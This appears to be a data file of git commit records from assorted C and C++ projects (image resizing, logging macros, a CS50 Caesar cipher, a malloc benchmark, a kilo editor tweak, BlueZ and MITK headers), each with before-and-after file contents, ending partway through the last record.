{"commit":"546d7b62b3c02c2dfa6cb9ad8d10675b99b4120e","old_file":"src\/resizeImage.c","new_file":"src\/resizeImage.c","old_contents":"","new_contents":"\/**\n * http:\/\/www.compuphase.com\/graphic\/scale.htm\n *\/\n\nvoid ScaleLine(int *Target, int *Source, int SrcWidth, int TgtWidth)\n{\n  int NumPixels = TgtWidth;\n  int IntPart = SrcWidth \/ TgtWidth;\n  int FractPart = SrcWidth % TgtWidth;\n  int E = 0;\n\n  while (NumPixels-- > 0) {\n    *Target++ = *Source;\n    Source += IntPart;\n    E += FractPart;\n    if (E >= TgtWidth) {\n      E -= TgtWidth;\n      Source++;\n    } \/* if *\/\n  } \/* while *\/\n}\n\nvoid resizeImage(int *Source, int *Target, int SrcWidth, int SrcHeight, int TgtWidth, int TgtHeight)\n{\n  int NumPixels = TgtHeight;\n  int IntPart = (SrcHeight \/ TgtHeight) * SrcWidth;\n  int FractPart = SrcHeight % TgtHeight;\n  int E = 0;\n  int *PrevSource = NULL;\n\n  while (NumPixels-- > 0) {\n    if (Source == PrevSource) {\n      memcpy(Target, Target-TgtWidth, TgtWidth*sizeof(*Target));\n    } else {\n      ScaleLine(Target, Source, SrcWidth, TgtWidth);\n      PrevSource = Source;\n    } \/* if *\/\n    Target += TgtWidth;\n    Source += IntPart;\n    E += FractPart;\n    if (E >= TgtHeight) {\n      E -= TgtHeight;\n      Source += SrcWidth;\n    } \/* if *\/\n  } \/* while *\/\n}\n","subject":"Add code to do basic image resizing","message":"Add code to do basic image resizing\n\nFrom: http:\/\/www.compuphase.com\/graphic\/scale.htm\n","lang":"C","license":"mit","repos":"stollcri\/UA-3460-677"}
{"commit":"2e6b091c2b103ef23a52e9592714a70126cde6df","old_file":"libevmjit\/Utils.h","new_file":"libevmjit\/Utils.h","old_contents":"#pragma once\n\n#include <iostream>\n\n\/\/ The same as assert, but expression is always evaluated and result returned\n#define CHECK(expr) (assert(expr), expr)\n\n#if !defined(NDEBUG) \/\/ Debug\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstd::ostream& getLogStream(char const* _channel);\n\n}\n}\n\n#define DLOG(CHANNEL) ::dev::evmjit::getLogStream(#CHANNEL)\n\n#else \/\/ Release\n\t#define DLOG(CHANNEL) true ? std::cerr : std::cerr\n#endif\n","new_contents":"#pragma once\n\n#include <iostream>\n\n\/\/ The same as assert, but expression is always evaluated and result returned\n#define CHECK(expr) (assert(expr), expr)\n\n#if !defined(NDEBUG) \/\/ Debug\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstd::ostream& getLogStream(char const* _channel);\n\n}\n}\n\n#define DLOG(CHANNEL) ::dev::evmjit::getLogStream(#CHANNEL)\n\n#else \/\/ Release\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstruct Voider\n{\n\tvoid operator=(std::ostream const&) {}\n};\n\n}\n}\n\n\n#define DLOG(CHANNEL) true ? (void)0 : ::dev::evmjit::Voider{} = std::cerr\n\n#endif\n","subject":"Reimplement no-op version of DLOG to avoid C++ compiler warning","message":"Reimplement no-op version of DLOG to avoid C++ compiler warning\n","lang":"C","license":"mit","repos":"ethereum\/evmjit,ethereum\/evmjit,ethereum\/evmjit"}
{"commit":"3771abc38413dca7aee39a9005f3d808b440538c","old_file":"JPetUnpacker\/Unpacker2\/TDCChannel.h","new_file":"JPetUnpacker\/Unpacker2\/TDCChannel.h","old_contents":"#ifndef TDCChannel_h\n#define TDCChannel_h\n\n#include <fstream>\n#include <TObject.h>\n#include <TClonesArray.h>\n#include <iostream>\n\n#define MAX_FULL_HITS 100\n\nclass TDCChannel : public TObject {\n\nprotected:\n  Int_t channel;\n\n\tdouble leadTime1;\n\tdouble trailTime1;\n\tdouble tot1;\n\tdouble referenceDiff1;\n\n\tdouble leadTimes[MAX_FULL_HITS];\n\tdouble trailTimes[MAX_FULL_HITS];\n\tdouble tots[MAX_FULL_HITS];\n\tdouble referenceDiffs[MAX_FULL_HITS];\n\tint hitsNum;\n\n  \npublic:\n\n  TDCChannel();\n  ~TDCChannel();\n  \n  void SetChannel(Int_t channel) { this->channel = channel; }\n\tint GetChannel() { return channel; }\n\n\tint GetHitsNum() { return hitsNum; }\n\n\tvoid AddHit(double lead, double trail, double ref);\n\tvoid AddHit(double lead, double trail);\n\tdouble GetLeadTime1() { return leadTime1; }\n\tdouble GetLeadTime(int mult) { return leadTimes[mult]; }\n\tdouble GetTrailTime1() { return trailTime1; }\n\tdouble GetTrailTime(int mult) { return trailTimes[mult]; }\n\tdouble GetTOT1() { return tot1; }\n\tint GetMult() { return hitsNum; }\n\tdouble GetTOT(int mult) { return tots[mult]; }\n\n\n\n  ClassDef(TDCChannel,1);\n};\n\n#endif\n","new_contents":"#ifndef TDCChannel_h\n#define TDCChannel_h\n\n#include <fstream>\n#include <TObject.h>\n#include <TClonesArray.h>\n#include <iostream>\n\n#define MAX_FULL_HITS 50\n\nclass TDCChannel : public TObject {\n\nprotected:\n  Int_t channel;\n\n\tdouble leadTime1;\n\tdouble trailTime1;\n\tdouble tot1;\n\tdouble referenceDiff1;\n\n\tdouble leadTimes[MAX_FULL_HITS];\n\tdouble trailTimes[MAX_FULL_HITS];\n\tdouble tots[MAX_FULL_HITS];\n\tdouble referenceDiffs[MAX_FULL_HITS];\n\tint hitsNum;\n\n  \npublic:\n\n  TDCChannel();\n  ~TDCChannel();\n  \n  void SetChannel(Int_t channel) { this->channel = channel; }\n\tint GetChannel() { return channel; }\n\n\tint GetHitsNum() { return hitsNum; }\n\n\tvoid AddHit(double lead, double trail, double ref);\n\tvoid AddHit(double lead, double trail);\n\tdouble GetLeadTime1() { return leadTime1; }\n\tdouble GetLeadTime(int mult) { return leadTimes[mult]; }\n\tdouble GetTrailTime1() { return trailTime1; }\n\tdouble GetTrailTime(int mult) { return trailTimes[mult]; }\n\tdouble GetTOT1() { return tot1; }\n\tint GetMult() { return hitsNum; }\n\tdouble GetTOT(int mult) { return tots[mult]; }\n\n\n\n  ClassDef(TDCChannel,1);\n};\n\n#endif\n","subject":"Change TDCHits array size from 100 to 50","message":"Change TDCHits array size from 100 to 50\n\nFor consistency with the standalone version\nof the Unpacker.\n","lang":"C","license":"apache-2.0","repos":"alexkernphysiker\/j-pet-framework,alexkernphysiker\/j-pet-framework,JPETTomography\/j-pet-framework,wkrzemien\/j-pet-framework,JPETTomography\/j-pet-framework,alexkernphysiker\/j-pet-framework,alexkernphysiker\/j-pet-framework,alexkernphysiker\/j-pet-framework,wkrzemien\/j-pet-framework,JPETTomography\/j-pet-framework,wkrzemien\/j-pet-framework,wkrzemien\/j-pet-framework,wkrzemien\/j-pet-framework"}
{"commit":"f82cb032e33f6a079c0d18b95fdc3bc41cc66a53","old_file":"PSET2\/caesar.c","new_file":"PSET2\/caesar.c","old_contents":"#include <stdio.h>\r\n#include <cs50.h>\r\n#include <string.h>\r\n#include <ctype.h>\r\n\r\n\/\/ constant\r\n#define ALPHA_NUM 26\r\n\r\nint main(int argc, char *argv[]) {\r\n\r\n    \/\/ check argument number and argument key to be greater than -1\r\n    if (argc != 2 || atoi(argv[1]) < 0) {\r\n        printf(\"Usage (k >= 0):\\n.\/caesar k \\n\");\r\n        return 1;\r\n    }\r\n\r\n    int key = atoi(argv[1]) % ALPHA_NUM;\r\n\r\n    \/\/ get plaintext from user\r\n    printf(\"plaintext: \");\r\n    string plaintext = get_string();\r\n    printf(\"\\n\");\r\n\r\n\r\n    \/\/ encode plaintext\r\n    size_t text_len = strlen(plaintext);\r\n    char ciphertext[text_len + 1]; \/\/ + 1 for '\\0'\r\n\r\n    for (int i = 0; i < text_len; i++) {\r\n        if (isalpha(plaintext[i])) {\r\n            if (isupper(plaintext[i])) {\r\n                \/\/ Uppercase shift\r\n                ciphertext[i] = (char) (((plaintext[i] + key - 'A') % ALPHA_NUM) + 'A');\r\n            } else {\r\n                \/\/ Lowercase shift\r\n                ciphertext[i] = (char) (((plaintext[i] + key - 'a') % ALPHA_NUM) + 'a');\r\n            }\r\n        } else {\r\n            \/\/ Skip non alpha\r\n            ciphertext[i] = plaintext[i];\r\n        }\r\n    }\r\n\r\n    printf(\"ciphertext: %s\\n\", ciphertext);\r\n\r\n    return 0;\r\n}\r\n","new_contents":"#include <stdio.h>\r\n#include <cs50.h>\r\n#include <string.h>\r\n#include <ctype.h>\r\n\r\n\/\/ constant\r\n#define ALPHA_NUM 26\r\n\r\nint main(int argc, char *argv[]) {\r\n\r\n    \/\/ check argument number and argument key to be greater than -1\r\n    if (argc != 2 || atoi(argv[1]) < 0) {\r\n        printf(\"Usage (k >= 0):\\n.\/caesar k \\n\");\r\n        return 1;\r\n    }\r\n\r\n    int key = atoi(argv[1]) % ALPHA_NUM;\r\n\r\n    \/\/ get plaintext from user\r\n    printf(\"plaintext: \");\r\n    string plaintext = get_string();\r\n\r\n\r\n    \/\/ encode plaintext\r\n    size_t text_len = strlen(plaintext);\r\n    char ciphertext[text_len + 1]; \/\/ + 1 for '\\0'\r\n\r\n    for (int i = 0; i < text_len; i++) {\r\n        if (isalpha(plaintext[i])) {\r\n            if (isupper(plaintext[i])) {\r\n                \/\/ Uppercase shift\r\n                ciphertext[i] = (char) (((plaintext[i] + key - 'A') % ALPHA_NUM) + 'A');\r\n            } else {\r\n                \/\/ Lowercase shift\r\n                ciphertext[i] = (char) (((plaintext[i] + key - 'a') % ALPHA_NUM) + 'a');\r\n            }\r\n        } else {\r\n            \/\/ Skip non alpha\r\n            ciphertext[i] = plaintext[i];\r\n        }\r\n    }\r\n\r\n    printf(\"ciphertext: %s\\n\", ciphertext);\r\n\r\n    return 0;\r\n}","subject":"Remove printf for testing with check50","message":"Remove printf for testing with check50\n","lang":"C","license":"unlicense","repos":"Implaier\/CS50,Implaier\/CS50,Implaier\/CS50,Implaier\/CS50"}
{"commit":"474864639946f06abb90a5398c4a881714ac0c15","old_file":"include\/zephyr\/CExport.h","new_file":"include\/zephyr\/CExport.h","old_contents":"#ifndef ZEPHYR_CEXPORT_H\n#define ZEPHYR_CEXPORT_H\n\n#ifdef __cplusplus\n#define Z_NS_START(n) namespace n {\n#define Z_NS_END }\n#else\n#define Z_NS_START(n)\n#define Z_NS_END\n#endif\n\n#ifdef __cplusplus\n#define Z_ENUM_CLASS(ns, n) enum class n\n#else\n#define Z_ENUM_CLASS(ns, n) enum ns ## _ ## n\n#endif\n\n#ifdef __cplusplus\n#define Z_ENUM(ns, n) enum n\n#else\n#define Z_ENUM(ns, n) enum ns ## _ ## n\n#endif\n\n#ifdef __cplusplus\n#define Z_STRUCT(ns, n) struct n\n#else\n#define Z_STRUCT(ns, n) struct ns ## _ ## n\n#endif\n\n#endif\n","new_contents":"#ifndef ZEPHYR_CEXPORT_H\n#define ZEPHYR_CEXPORT_H\n\n#ifdef __cplusplus\n#define Z_VAR(ns, n) n\n#else\n#define Z_VAR(ns, n) ns ## _ ## n\n#endif\n\n#ifdef __cplusplus\n#define Z_NS_START(n) namespace n {\n#define Z_NS_END }\n#else\n#define Z_NS_START(n)\n#define Z_NS_END\n#endif\n\n#ifdef __cplusplus\n#define Z_ENUM_CLASS(ns, n) enum class n\n#else\n#define Z_ENUM_CLASS(ns, n) enum Z_VAR(ns, n)\n#endif\n\n#ifdef __cplusplus\n#define Z_ENUM(ns, n) enum n\n#else\n#define Z_ENUM(ns, n) enum Z_VAR(ns, n)\n#endif\n\n#ifdef __cplusplus\n#define Z_STRUCT(ns, n) struct n\n#else\n#define Z_STRUCT(ns, n) struct Z_VAR(ns, n)\n#endif\n\n#endif\n","subject":"Add variable name to namespace binding","message":"Add variable name to namespace binding\n","lang":"C","license":"mit","repos":"DeonPoncini\/zephyr"}
{"commit":"391df9dfb7db693cabd598218bb58ee68e94d826","old_file":"src\/Utils\/Map.h","new_file":"src\/Utils\/Map.h","old_contents":"","new_contents":"\/**\n * @file    Map.h\n * @ingroup Utils\n * @brief   Template helper functions for std::map\n *\n * Copyright (c) 2017 Sebastien Rombauts (sebastien.rombauts@gmail.com)\n *\n * Distributed under the MIT License (MIT) (See accompanying file LICENSE.txt\n * or copy at http:\/\/opensource.org\/licenses\/MIT)\n *\/\n#pragma once\n\n#include <sstream>\n#include <string>\n\n\nnamespace Utils {\n\n\/\/\/ Tells if a std::map have a specific key (similar to std::map::count())\ntemplate <typename Map>\nbool hasKey(const Map& aMap, const std::string& aKey) {\n    return (aMap.find(aKey) != aMap.end());\n}\n\n\/\/\/ Tells if a std::map have a specific value\ntemplate <typename Map>\nbool hasValue(const Map& aMap, const std::string& aKey, const std::string& aValue) {\n    bool bHaveValue = false;\n    const typename Map::const_iterator iPair = aMap.find(aKey);\n    if (iPair != aMap.end()) {\n        bHaveValue = (iPair->second == aValue);\n    }\n    return bHaveValue;\n}\n\n} \/\/ namespace Utils\n","subject":"Add template helper functions for std::map","message":"Add template helper functions for std::map\n","lang":"C","license":"mit","repos":"SRombauts\/cpp-skeleton,SRombauts\/cpp-skeleton"}
{"commit":"f2826431a1cc428fccc352d7af91d4b0b8955a9b","old_file":"Note.h","new_file":"Note.h","old_contents":"#ifndef _CHAIR_AFFAIR_NOTE\n#define _CHAIR_AFFAIR_NOTE\n\n#include <inttypes.h>\n#include <config.h>\n#include <FastLED.h>\n\ntypedef struct note_range_t {\n\tuint16_t start;\n\tuint16_t end;\n} note_range_t;\n\nclass Note {\npublic:\n\tNote(CRGB aColor, uint16_t order, uint16_t ledCount);\n\n\tvoid setColor(CRGB aColor);\n\nprivate:\n\tCRGB _color;\n\tnote_range_t _range;\n};\n\n#endif","new_contents":"#ifndef _CHAIR_AFFAIR_NOTE\n#define _CHAIR_AFFAIR_NOTE\n\n#include <inttypes.h>\n#include <config.h>\n#include <Arduino.h>\n\ntypedef struct note_range_t {\n\tuint16_t start;\n\tuint16_t end;\n} note_range_t;\n\nclass Note {\npublic:\n\tNote(uint8_t aHue, uint16_t order, uint16_t ledCount);\n\n\tvoid setHue(uint8_t aHue);\n\tuint8_t hue();\n\n\tvoid setPlaying(boolean flag);\n\tboolean isPlaying();\n\nprivate:\n\tboolean _playing;\n\tuint8_t _hue;\n\tnote_range_t _range;\n};\n\n#endif","subject":"Use hue instead of color.","message":"Use hue instead of color.\n\nAlso added a property for activation of the Note\n","lang":"C","license":"mit","repos":"NSBum\/lachaise2"}
{"commit":"9fd0e4bb87faf5f6eec84c330a3c61b5c2d8b455","old_file":"src\/mem_alloc.c","new_file":"src\/mem_alloc.c","old_contents":"#include \"common\/time.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n\nstatic const double BENCHMARK_TIME = 5.0;\nstatic const int NUM_ALLOCS = 1000000;\n\nint main(int argc, const char** argv) {\n  printf(\"Benchmark: Allocate\/free %d memory chunks (4-128 bytes)...\\n\", NUM_ALLOCS);\n  fflush(stdout);\n\n  double best_time = 1e9;\n  const double start_t = get_time();\n  while (get_time() - start_t < BENCHMARK_TIME) {\n    const double t0 = get_time();\n\n    void* addresses[NUM_ALLOCS];\n\n    for (int i = 0; i < NUM_ALLOCS; ++i) {\n      const int memory_size = ((i % 32) + 1) * 4;\n      addresses[i] = malloc(memory_size);\n      ((char*)addresses[i])[0] = 1;\n    }\n\n    for (int i = 0; i < NUM_ALLOCS; ++i) {\n      free(addresses[i]);\n    }\n\n    double dt = get_time() - t0;\n    if (dt < best_time) {\n      best_time = dt;\n    }\n  }\n\n  printf(\"%f ns \/ alloc\\n\", (best_time \/ (double)NUM_ALLOCS) * 1000000000.0);\n  fflush(stdout);\n\n  return 0;\n}\n\n","new_contents":"#include \"common\/time.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n\nstatic const double BENCHMARK_TIME = 5.0;\n#define NUM_ALLOCS 1000000\n\nstatic void* s_addresses[NUM_ALLOCS];\n\nint main(int argc, const char** argv) {\n  printf(\"Benchmark: Allocate\/free %d memory chunks (4-128 bytes)...\\n\", NUM_ALLOCS);\n  fflush(stdout);\n\n  double best_time = 1e9;\n  const double start_t = get_time();\n  while (get_time() - start_t < BENCHMARK_TIME) {\n    const double t0 = get_time();\n\n    for (int i = 0; i < NUM_ALLOCS; ++i) {\n      const int memory_size = ((i % 32) + 1) * 4;\n      s_addresses[i] = malloc(memory_size);\n      ((char*)s_addresses[i])[0] = 1;\n    }\n\n    for (int i = 0; i < NUM_ALLOCS; ++i) {\n      free(s_addresses[i]);\n    }\n\n    double dt = get_time() - t0;\n    if (dt < best_time) {\n      best_time = dt;\n    }\n  }\n\n  printf(\"%f ns \/ alloc\\n\", (best_time \/ (double)NUM_ALLOCS) * 1000000000.0);\n  fflush(stdout);\n\n  return 0;\n}\n\n","subject":"Use static memory for mem pointers","message":"Use static memory for mem pointers\n","lang":"C","license":"unlicense","repos":"mbitsnbites\/osbench"}
{"commit":"81990abd79a163651fb7a5ef846c69e0e11c8326","old_file":"kilo.c","new_file":"kilo.c","old_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disable_raw_mode() {\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enable_raw_mode() {\n\ttcgetattr(STDIN_FILENO, &orig_termios);\n\tatexit(disable_raw_mode);\n\n\tstruct termios raw = orig_termios;\n\traw.c_iflag &= ~(IXON);\n\traw.c_lflag &= ~(ECHO | ICANON | ISIG);\n\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n\tenable_raw_mode();\n\n\tchar c;\n\twhile (read(STDIN_FILENO, &c, 1) == 1 && c != 'q') {\n\t\tif (iscntrl(c)) {\n\t\t\tprintf(\"%d\\n\", c);\n\t\t} else {\n\t\t\tprintf(\"%d ('%c')\\n\", c, c);\n\t\t}\n\t}\n\treturn 0;\n}\n","new_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disable_raw_mode() {\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enable_raw_mode() {\n\ttcgetattr(STDIN_FILENO, &orig_termios);\n\tatexit(disable_raw_mode);\n\n\tstruct termios raw = orig_termios;\n\traw.c_iflag &= ~(IXON);\n\traw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n\tenable_raw_mode();\n\n\tchar c;\n\twhile (read(STDIN_FILENO, &c, 1) == 1 && c != 'q') {\n\t\tif (iscntrl(c)) {\n\t\t\tprintf(\"%d\\n\", c);\n\t\t} else {\n\t\t\tprintf(\"%d ('%c')\\n\", c, c);\n\t\t}\n\t}\n\treturn 0;\n}\n","subject":"Disable Ctrl-V (and Ctrl-O on macOS)","message":"Disable Ctrl-V (and Ctrl-O on macOS)\n","lang":"C","license":"bsd-2-clause","repos":"oldsharp\/kilo,oldsharp\/kilo"}
{"commit":"1b90d7cf2b0ace1d1623562d4ad084e2ea9fdf10","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\nvoid ListNode_Destroy(ListNode* n);\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int f(void*, void*));\n\n#endif","subject":"Add List Search function declaration","message":"Add List Search function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"9ba4f34f11902e16fb17ec08f66a1c9f27817359","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\n#include \"forsyth.h\"\n\nint main(int argc, char* argv[])\n{\n    FILE * stream;\n    int FEN_status;\n\n    if (argc < 2)\n        FEN_status = load_FEN(\n            \"rnbqkbnr\/pppppppp\/8\/8\/8\/8\/PPPPPPPP\/RNBQKBNR w KQkq - 0 1\"\n        );\n    else\n        FEN_status = load_FEN(argv[1]);\n\n#if defined(TEST_MATE_IN_ONE)\n    memcpy(&square(a8), \"nk....bq\", 8);\n    memcpy(&square(a7), \"ppp.r...\", 8);\n    memcpy(&square(a6), \"........\", 8);\n    memcpy(&square(a5), \"........\", 8);\n    memcpy(&square(a4), \"........\", 8);\n    memcpy(&square(a3), \"........\", 8);\n    memcpy(&square(a2), \"...R.PPP\", 8);\n    memcpy(&square(a1), \"QB....KN\", 8);\n#endif\n\n    if (FEN_status != FEN_OK)\n    {\n        fprintf(stderr, \"(%i):  FEN record is corrupt!\\n\\n\", FEN_status);\n        return (FEN_status);\n    }\n\n    stream = (argc < 3) ? stdout : fopen(argv[2], \"w\");\n    load_Forsyth(stream);\n    fclose(stream);\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include \"forsyth.h\"\n\n#include \"check.h\"\n\nint main(int argc, char* argv[])\n{\n    FILE * stream;\n    int FEN_status;\n\n    if (argc < 2)\n        FEN_status = load_FEN(\n            \"rnbqkbnr\/pppppppp\/8\/8\/8\/8\/PPPPPPPP\/RNBQKBNR w KQkq - 0 1\"\n        );\n    else\n        FEN_status = load_FEN(argv[1]);\n\n#if defined(TEST_MATE_IN_ONE)\n    memcpy(&square(a8), \"nk....bq\", 8);\n    memcpy(&square(a7), \"ppp.r...\", 8);\n    memcpy(&square(a6), \"........\", 8);\n    memcpy(&square(a5), \"........\", 8);\n    memcpy(&square(a4), \"........\", 8);\n    memcpy(&square(a3), \"........\", 8);\n    memcpy(&square(a2), \"...R.PPP\", 8);\n    memcpy(&square(a1), \"QB....KN\", 8);\n#endif\n\n    if (FEN_status != FEN_OK)\n    {\n        fprintf(stderr, \"(%i):  FEN record is corrupt!\\n\\n\", FEN_status);\n        return (FEN_status);\n    }\n\n    stream = (argc < 3) ? stdout : fopen(argv[2], \"w\");\n    load_Forsyth(stream);\n    fclose(stream);\n\n    if (in_check(WHITE))\n        puts(\"White is in check.\");\n    if (in_check(BLACK))\n        puts(\"Black is in check.\");\n    return 0;\n}\n","subject":"Debug check analysis for both sides.","message":"Debug check analysis for both sides.\n","lang":"C","license":"cc0-1.0","repos":"cxd4\/chess,cxd4\/chess,cxd4\/chess"}
{"commit":"48a69a892114ebe5665563938dd9344f0362d1d5","old_file":"src\/plugin\/synchronized_queue.h","new_file":"src\/plugin\/synchronized_queue.h","old_contents":"\/\/ This is a queue that can be accessed from multiple threads safely.\n\/\/\n\/\/ It's not well optimized, and requires obtaining a lock every time you check for a new value.\n\n#pragma once\n\n#include <mutex>\n#include <optional>\n#include <queue>\n\ntemplate <class T>\nclass SynchronizedQueue {\n    std::condition_variable cv_;\n    std::mutex lock_;\n    std::queue<T> q_;\npublic:\n\n    void push(T && t) {\n        std::unique_lock l(lock_);\n        q_.push(std::move(t));\n        cv_.notify_one();\n    }\n\n    std::optional<T> get() {\n        std::unique_lock l(lock_);\n        if(q_.empty()) {\n            return std::nullopt;\n        }\n\n        T t = std::move(q_.front());\n        q_.pop();\n        return t;\n    }\n\n    T get_blocking() {\n        std::unique_lock l(lock_);\n        while(q_.empty()) {\n            cv_.wait(l);\n        }\n\n        T t = std::move(q_.front());\n        q_.pop();\n        return std::move(t);\n    }\n};","new_contents":"\/\/ This is a queue that can be accessed from multiple threads safely.\n\/\/\n\/\/ It's not well optimized, and requires obtaining a lock every time you check for a new value.\n\n#pragma once\n\n#include <condition_variable>\n#include <mutex>\n#include <optional>\n#include <queue>\n\ntemplate <class T>\nclass SynchronizedQueue {\n    std::condition_variable cv_;\n    std::mutex lock_;\n    std::queue<T> q_;\npublic:\n\n    void push(T && t) {\n        std::unique_lock l(lock_);\n        q_.push(std::move(t));\n        cv_.notify_one();\n    }\n\n    std::optional<T> get() {\n        std::unique_lock l(lock_);\n        if(q_.empty()) {\n            return std::nullopt;\n        }\n\n        T t = std::move(q_.front());\n        q_.pop();\n        return t;\n    }\n\n    T get_blocking() {\n        std::unique_lock l(lock_);\n        while(q_.empty()) {\n            cv_.wait(l);\n        }\n\n        T t = std::move(q_.front());\n        q_.pop();\n        return std::move(t);\n    }\n};","subject":"Fix compilation on Linux \/ Windows","message":"Fix compilation on Linux \/ Windows\n","lang":"C","license":"mit","repos":"leecbaker\/datareftool,leecbaker\/datareftool,leecbaker\/datareftool"}
{"commit":"500aedded80bd387484abfe9a6d7b8b4b591015d","old_file":"c\/c_gcc_test.c","new_file":"c\/c_gcc_test.c","old_contents":"#include <stdio.h>\n\nint c;\n__thread int d;\nregister int R1 __asm__ (\"%\" \"i5\");\n\nint main(void)\n{\n\tc = 3;\n\tR1 = 5;\n\td = 4;\n\tprintf(\"C: %d\\n\", c);\n\tprintf(\"D: %d\\n\", d);\n\tprintf(\"R1: %d\\n\", R1);\n\tR1 *= 2;\n\tprintf(\"R1: %d\\n\", R1);\n\treturn 0;\n}\n\n","new_contents":"#include <stdio.h>\n\nint c;\n__thread int d;\nregister int R1 __asm__ (\"%\" \"r15\");\n\nint main(void)\n{\n\tc = 3;\n\tR1 = 5;\n\td = 4;\n\tprintf(\"C: %d\\n\", c);\n\tprintf(\"D: %d\\n\", d);\n\tprintf(\"R1: %d\\n\", R1);\n\tR1 *= 2;\n\tprintf(\"R1: %d\\n\", R1);\n\treturn 0;\n}\n\n","subject":"Fix gcc global reg extension test to work.","message":"Fix gcc global reg extension test to work.\n\nHad wrong register before.\n","lang":"C","license":"bsd-3-clause","repos":"dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps"}
{"commit":"fca6774a3398cde170512b263b0d673df28bd641","old_file":"client\/display.h","new_file":"client\/display.h","old_contents":"\/*\n *\n *  BlueZ - Bluetooth protocol stack for Linux\n *\n *  Copyright (C) 2012  Intel Corporation. All rights reserved.\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#define COLOR_OFF\t\"\\x1B[0m\"\n#define COLOR_BLUE\t\"\\x1B[0;34m\"\n\nstatic inline void begin_message(void)\n{\n\trl_message(\"\");\n\tprintf(\"\\r%*c\\r\", rl_end, ' ');\n}\n\nstatic inline void end_message(void)\n{\n\trl_clear_message();\n}\n\nvoid rl_printf(const char *fmt, ...) __attribute__((format(printf, 1, 2)));\n","new_contents":"\/*\n *\n *  BlueZ - Bluetooth protocol stack for Linux\n *\n *  Copyright (C) 2012  Intel Corporation. All rights reserved.\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#define COLOR_OFF\t\"\\x1B[0m\"\n#define COLOR_BLUE\t\"\\x1B[0;34m\"\n\nvoid rl_printf(const char *fmt, ...) __attribute__((format(printf, 1, 2)));\n","subject":"Remove broken helper for message blocks","message":"client: Remove broken helper for message blocks\n","lang":"C","license":"lgpl-2.1","repos":"mapfau\/bluez,pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez,pkarasev3\/bluez,pstglia\/external-bluetooth-bluez,pkarasev3\/bluez,pkarasev3\/bluez,pkarasev3\/bluez,pstglia\/external-bluetooth-bluez,mapfau\/bluez,ComputeCycles\/bluez,silent-snowman\/bluez,mapfau\/bluez,mapfau\/bluez,pstglia\/external-bluetooth-bluez,silent-snowman\/bluez,silent-snowman\/bluez,silent-snowman\/bluez,ComputeCycles\/bluez,ComputeCycles\/bluez"}
{"commit":"3c3fe25d9ae586a2ef64361801bd6af08c6a0584","old_file":"Modules\/CEST\/autoload\/IO\/mitkCESTDICOMReaderService.h","new_file":"Modules\/CEST\/autoload\/IO\/mitkCESTDICOMReaderService.h","old_contents":"\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#ifndef MITKCESTDICOMReaderService_H\n#define MITKCESTDICOMReaderService_H\n\n#include <mitkBaseDICOMReaderService.h>\n\nnamespace mitk {\n\n  \/**\n  Service wrapper that auto selects (using the mitk::DICOMFileReaderSelector) the best DICOMFileReader from\n  the DICOMReader module and loads additional meta data for CEST data.\n  *\/\n  